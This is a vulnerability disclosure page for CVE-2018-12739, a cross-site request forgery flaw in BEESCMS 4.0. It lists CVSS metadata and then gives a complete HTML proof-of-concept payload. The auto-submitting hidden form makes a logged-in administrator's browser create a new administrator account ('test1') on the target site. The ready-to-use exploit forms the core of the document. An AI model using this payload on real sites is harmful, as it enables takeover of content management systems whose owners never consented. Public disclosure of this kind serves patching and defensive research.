BEESCMS 4.0 Cross Site Request Forgery

2018.06.29

Credit: bay0net

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2018-12739

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: A CSRF vulnerability exists in BEESCMS_V4.0: The administrator can be added arbitrarily.
# Date: 2018-06-25
# Exploit Author: bay0net
# Vendor Homepage: https://www.cnblogs.com/v1vvwv/p/9226389.html
# Software Link: http://www.beescms.com/
# Version: BEESCMS - V4.0
# CVE : CVE-2018-12739
 
A CSRF vulnerability exists in BEESCMS_V4.0: The administrator can be added arbitrarily.
 
The payload for attack is as follows.
 
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.211.55.17/beescms/admin/admin_admin.php?nav=list_admin_user&admin_p_nav=user" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="admin_name" value="test1" />
      <input type="hidden" name="admin_password" value="test1" />
      <input type="hidden" name="admin_password2" value="test1" />
      <input type="hidden" name="admin_nich" value="test1" />
      <input type="hidden" name="purview" value="1" />
      <input type="hidden" name="admin_admin" value="" />
      <input type="hidden" name="admin_mail" value="" />
      <input type="hidden" name="admin_tel" value="" />
      <input type="hidden" name="is_disable" value="0" />
      <input type="hidden" name="action" value="save_admin" />
      <input type="hidden" name="submit" value="c!(r)a(r)" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

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BEESCMS 4.0 Cross Site Request Forgery

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